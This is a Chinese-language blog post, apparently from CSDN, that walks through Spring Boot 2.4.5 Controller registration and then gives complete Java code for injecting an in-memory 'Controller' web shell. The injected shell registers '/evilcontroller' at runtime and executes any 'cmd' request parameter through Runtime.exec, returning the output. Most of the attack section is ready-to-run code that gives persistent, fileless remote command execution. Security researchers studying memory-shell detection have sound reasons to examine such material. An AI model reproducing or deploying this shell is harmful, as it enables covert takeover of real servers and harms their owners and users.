前言
SpringBoot版本2.4.5
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.4.5</version>
<relativePath/>
</parent>
Controller注册分析
InitializingBean的afterPropertiesSet方法用于bean初始化
RequestMappingHandlerMapping用于处理Controller里面带有地址映射@RequestMapping的方法
RequestMappingHandlerMapping.afterPropertiesSet()处理完config后调用父类AbstractHandlerMethodMapping的afterPropertiesSet方法 来到AbstractHandlerMethodMapping.initHandlerMethod(),获取所有的bean然后依次传入processCandidateBean处理每个bean,Controller也在此处理 当处理Controller时:首先获取类型,然后调用isHandler类型判断 如果bean拥有Controller或RequestMapping注解,就通过判断,进入detectHandlerMethods(),这里是我们自定义的Controller自然有注解 获取Controller所有方法,如果方法有RequestMapping注解就调用RequestMappingHandlerMapping.getMappingForMethod()创建RequestMappingInfo 全部方法处理完后调用registerHandlerMethod()建立方法到RequestMappingInfo的映射,也就是完成Controller的注册,具体调用的是AbstractHandlerMethodMapping.register()
register()
重点看一下register方法的传参:
mapping是RequestMappingInfo类,存储方法的映射URL路径 handler是自定义Controller对象 method是反射获取的方法
Controller内存马
原理
Ⅰ. 获取RequestMappingHandlerMapping
首先要获取Mapping实例,前面提到过它是一个bean,存储在context里面,所以要先获取Spring的上下文
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
?
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
?
WebApplicationContextWebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
?
getAttribute()直接获得ServletContext通过属性Context拿到WebApplicationContext
拿到的上下文是WebApplicationContext类,它继承了BeanFactory所以可以用getBean获取RequestMappingHandlerMapping
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Ⅱ. 生成RequestMappingInfo
有一个已经弃用的方法,而且根据上面的流程分析只需要传入这两个参数:
- PatternsRequestCondition:Controller映射的URL
- RequestCondition:定义允许GET/POST方法
PatternsRequestCondition url = new PatternsRequestCondition("/evilcontroller");
?
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
?
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
Ⅲ. 写恶意Controller
@RestController注解缺失会导致500错误、无回显
@RestController
public class InjectedController {
public InjectedController(){
}
public String cmd() throws Exception {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
InputStream is = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
InputStreamReader isr = new InputStreamReader(is, "UTF-8");
BufferedReader br = new BufferedReader(isr);
String str = "";
String line;
while ((line = br.readLine())!=null){
str += line;
}
is.close();
br.close();
return str;
}
}
Ⅳ. 反射获取恶意方法
Method method = InjectedController.class.getMethod("cmd");
Ⅴ. 向RequestMappingHandlerMapping注册
RequestMappingHandlerMapping类有一个registerMapping,它是public的,调用它注册
requestMappingHandlerMapping.registerMapping(info, injectedController, method);
代码
package com.example.javaspring;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Method;
@RestController
public class InjectEvilController {
@RequestMapping("/inject")
public String inject() throws Exception{
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Method method = InjectedController.class.getMethod("cmd");
PatternsRequestCondition url = new PatternsRequestCondition("/evilcontroller");
RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, condition, null, null, null, null, null);
InjectedController injectedController = new InjectedController();
requestMappingHandlerMapping.registerMapping(info, injectedController, method);
return "Inject done";
}
@RestController
public class InjectedController {
public InjectedController(){
}
public String cmd() throws Exception {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
InputStream is = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
InputStreamReader isr = new InputStreamReader(is, "UTF-8");
BufferedReader br = new BufferedReader(isr);
String str = "";
String line;
while ((line = br.readLine())!=null){
str += line;
}
is.close();
br.close();
return str;
}
}
}
运行截图
注意事项
不同版本spring在注册过程有不同,代码在springboot2.4.5可以运行
参考引用
https://zhuanlan.zhihu.com/p/488804407 https://javasec.org/javaweb/MemoryShell
完
欢迎关注我的CSDN博客 :@Ho1aAs 版权属于:Ho1aAs 本文链接:https://blog.csdn.net/Xxy605/article/details/123943546 版权声明:本文为原创,转载时须注明出处及本声明
|